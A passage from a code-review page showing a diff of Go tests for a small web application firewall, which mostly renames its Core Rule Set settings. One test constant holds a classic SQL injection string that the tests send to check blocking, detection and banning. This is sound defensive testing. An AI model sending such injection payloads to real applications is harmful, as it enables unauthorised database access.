"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD",
|
||||
Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
@@ -15,14 +15,14 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
// The Core Rule Set's settings the tests set, besides SWW_WAF_CORE_RULE_SET_MODE, and
|
||||
// The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and
|
||||
// its two modes that inspect requests.
|
||||
const (
|
||||
coreRuleSetScoreThreshold = "SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD"
|
||||
coreRuleSetDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES"
|
||||
coreRuleSetExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS"
|
||||
coreRuleSetBodyInspectionSize = "SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE"
|
||||
apps = "SWW_WAF_APPS"
|
||||
wafAnomalyThreshold = "SWW_WAF_ANOMALY_THRESHOLD"
|
||||
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
|
||||
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
||||
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
||||
apps = "SWW_APPS"
|
||||
block = "block"
|
||||
detect = "detect"
|
||||
)
|
||||
@@ -30,8 +30,8 @@ const (
|
||||
// formData is the type of a form's body.
|
||||
const formData = "application/x-www-form-urlencoded"
|
||||
|
||||
// sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the tests that
|
||||
// read bodies, 1K as a setting.
|
||||
// sizeLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies, 1K as a
|
||||
// setting.
|
||||
const (
|
||||
sizeLimit = 1 << 10
|
||||
sizeLimitSetting = "1K"
|
||||
@@ -39,7 +39,7 @@ const (
|
||||
|
||||
// sqlInjection asks for / with an SQL injection in its query, which only
|
||||
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
|
||||
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
|
||||
// SWW_WAF_ANOMALY_THRESHOLD.
|
||||
const sqlInjection = "/?id=1'%20OR%20'1'='1"
|
||||
|
||||
// wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and
|
||||
@@ -95,7 +95,7 @@ func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
|
||||
s, _, _ := startWithClock(
|
||||
t,
|
||||
"",
|
||||
map[string]string{coreRuleSetMode: tc.mode},
|
||||
map[string]string{wafMode: tc.mode},
|
||||
)
|
||||
|
||||
wantTags(
|
||||
@@ -115,7 +115,7 @@ func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
coreRuleSetMode: detect, tagDeny: "exploitsignature",
|
||||
wafMode: detect, tagDeny: "exploitsignature",
|
||||
})
|
||||
|
||||
line := s.request(client, sqlInjection, http.StatusForbidden,
|
||||
@@ -167,7 +167,7 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
|
||||
s, _, _ := startWithClock(
|
||||
t,
|
||||
"",
|
||||
map[string]string{coreRuleSetMode: tc.mode},
|
||||
map[string]string{wafMode: tc.mode},
|
||||
)
|
||||
|
||||
line := s.requestWithHeader(
|
||||
@@ -186,11 +186,7 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
|
||||
func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(
|
||||
t,
|
||||
"",
|
||||
map[string]string{coreRuleSetMode: block},
|
||||
)
|
||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
||||
|
||||
line := s.request(client, sqlInjection, http.StatusForbidden,
|
||||
requestlog.ActionBlockedByCoreRuleSet)
|
||||
@@ -200,11 +196,7 @@ func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
|
||||
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(
|
||||
t,
|
||||
"",
|
||||
map[string]string{coreRuleSetMode: block},
|
||||
)
|
||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
||||
|
||||
line := s.request(
|
||||
client,
|
||||
@@ -220,16 +212,16 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
const allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
|
||||
const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
coreRuleSetMode: block,
|
||||
coreRuleSetExemptPaths: "/api/",
|
||||
wafMode: block,
|
||||
wafExemptPaths: "/api/",
|
||||
allowNets: allowed,
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
rulesDir: writeRules(t, testRules),
|
||||
})
|
||||
|
||||
// A client in SWW_WAF_ALLOW_NETS, and a path SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
|
||||
// A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
|
||||
// exempts, are not inspected.
|
||||
line := s.request(
|
||||
allowed,
|
||||
@@ -265,8 +257,8 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
||||
)
|
||||
wantCoreRuleSet(t, line, nil)
|
||||
|
||||
// With SWW_WAF_CORE_RULE_SET_MODE off, no request is.
|
||||
s, _, _ = startWithClock(t, "", map[string]string{coreRuleSetMode: off})
|
||||
// With SWW_WAF_MODE off, no request is.
|
||||
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
|
||||
line = s.request(
|
||||
client,
|
||||
sqlInjection,
|
||||
@@ -276,14 +268,14 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
||||
wantCoreRuleSet(t, line, nil)
|
||||
}
|
||||
|
||||
func TestCoreRuleSetScoreThreshold(t *testing.T) {
|
||||
func TestAnomalyThreshold(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// A score under the threshold, or with the threshold off, is logged,
|
||||
// and refuses nothing.
|
||||
for _, threshold := range []string{"6", off} {
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
coreRuleSetMode: block, coreRuleSetScoreThreshold: threshold,
|
||||
wafMode: block, wafAnomalyThreshold: threshold,
|
||||
})
|
||||
|
||||
line := s.request(
|
||||
@@ -296,7 +288,7 @@ func TestCoreRuleSetScoreThreshold(t *testing.T) {
|
||||
}
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
coreRuleSetMode: block, coreRuleSetScoreThreshold: "5",
|
||||
wafMode: block, wafAnomalyThreshold: "5",
|
||||
})
|
||||
s.request(client, sqlInjection, http.StatusForbidden,
|
||||
requestlog.ActionBlockedByCoreRuleSet)
|
||||
@@ -342,7 +334,7 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
||||
s, _, _ := startWithClock(
|
||||
t,
|
||||
"",
|
||||
map[string]string{coreRuleSetMode: block},
|
||||
map[string]string{wafMode: block},
|
||||
)
|
||||
line, _ := s.requestWithBody(
|
||||
request.method,
|
||||
@@ -357,7 +349,7 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
||||
|
||||
// A list given replaces the default.
|
||||
s, _, _ = startWithClock(t, "", map[string]string{
|
||||
coreRuleSetMode: block, coreRuleSetDisabledRules: "942100",
|
||||
wafMode: block, wafDisabledRules: "942100",
|
||||
})
|
||||
score := 5 * len(request.ruleIDs)
|
||||
line, _ = s.requestWithBody(
|
||||
@@ -391,7 +383,7 @@ func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
|
||||
const fileName = "/?path=.gitignore"
|
||||
|
||||
s := startWAF(t, "", map[string]string{
|
||||
coreRuleSetMode: block, apps: siteA + ":gitea",
|
||||
wafMode: block, apps: siteA + ":gitea",
|
||||
})
|
||||
|
||||
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
|
||||
@@ -417,17 +409,13 @@ func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
|
||||
header := "Content-Type: " + formData + "\r\nContent-Length: " +
|
||||
strconv.Itoa(len(body))
|
||||
|
||||
s, _, _ := startWithClock(
|
||||
t,
|
||||
"",
|
||||
map[string]string{coreRuleSetMode: block},
|
||||
)
|
||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
||||
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
|
||||
http.StatusOK, requestlog.ActionForward)
|
||||
wantCoreRuleSet(t, line, new(0))
|
||||
|
||||
s, _, _ = startWithClock(t, "", map[string]string{
|
||||
coreRuleSetMode: block, coreRuleSetBodyInspectionSize: sizeLimitSetting,
|
||||
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
||||
})
|
||||
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
|
||||
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
|
||||
@@ -444,7 +432,7 @@ func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
|
||||
_, _ = w.Write(body)
|
||||
})
|
||||
addr, out := startProxy(t, app.URL, map[string]string{
|
||||
coreRuleSetMode: block, coreRuleSetBodyInspectionSize: sizeLimitSetting,
|
||||
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
||||
})
|
||||
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
|
||||
|
||||
@@ -508,11 +496,7 @@ func TestResponsesAreNotInspected(t *testing.T) {
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = w.Write([]byte(page))
|
||||
})
|
||||
addr, out := startProxy(
|
||||
t,
|
||||
app.URL,
|
||||
map[string]string{coreRuleSetMode: block},
|
||||
)
|
||||
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
|
||||
|
||||
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
|
||||
if got.status != http.StatusOK || string(got.body) != page {
|
||||
@@ -526,13 +510,13 @@ func TestResponsesAreNotInspected(t *testing.T) {
|
||||
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
|
||||
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
coreRuleSetMode: block, refusalsLimitPerMinute: "2", metricsToken: token,
|
||||
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
|
||||
})
|
||||
|
||||
for range 2 {
|
||||
@@ -540,7 +524,7 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
|
||||
requestlog.ActionBlockedByCoreRuleSet)
|
||||
}
|
||||
|
||||
// The third refusal in a minute breaks the refusal limit, and bans the
|
||||
// The third refusal in a minute breaks the error burst, and bans the
|
||||
// client.
|
||||
line := s.request(client, sqlInjection, http.StatusForbidden,
|
||||
requestlog.ActionBlockedByCoreRuleSet)
|
||||
@@ -582,13 +566,13 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
|
||||
)
|
||||
}
|
||||
|
||||
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheRefusalLimit(
|
||||
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
coreRuleSetMode: detect, refusalsLimitPerMinute: "2", metricsToken: token,
|
||||
wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
|
||||
})
|
||||
|
||||
for range 3 {
|
||||
@@ -624,7 +608,7 @@ func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
|
||||
s, _, server := startWithClock(
|
||||
t,
|
||||
"",
|
||||
map[string]string{coreRuleSetMode: block, mode: observe},
|
||||
map[string]string{wafMode: block, mode: observe},
|
||||
)
|
||||
|
||||
line := s.request(
|
||||
@@ -656,15 +640,15 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
|
||||
action, alertMode string
|
||||
}{
|
||||
{
|
||||
"block", map[string]string{coreRuleSetMode: block},
|
||||
"block", map[string]string{wafMode: block},
|
||||
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet, "",
|
||||
},
|
||||
{
|
||||
"detect", map[string]string{coreRuleSetMode: detect},
|
||||
"detect", map[string]string{wafMode: detect},
|
||||
http.StatusOK, requestlog.ActionForward, detect,
|
||||
},
|
||||
{
|
||||
"block in observe mode", map[string]string{coreRuleSetMode: block, mode: observe},
|
||||
"block in observe mode", map[string]string{wafMode: block, mode: observe},
|
||||
http.StatusOK, requestlog.ActionForward, observe,
|
||||
},
|
||||
} {
|
||||
@@ -698,8 +682,7 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
|
||||
Host: appHost,
|
||||
Client: netip.MustParseAddr(client),
|
||||
Netblock: netip.MustParsePrefix(client + "/32"),
|
||||
Reason: "scored by the Core Rule Set at or over " +
|
||||
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD",
|
||||
Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
|
||||
Detail: detail,
|
||||
})
|
||||
|
||||
|
||||
Loaded 100 of 138 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user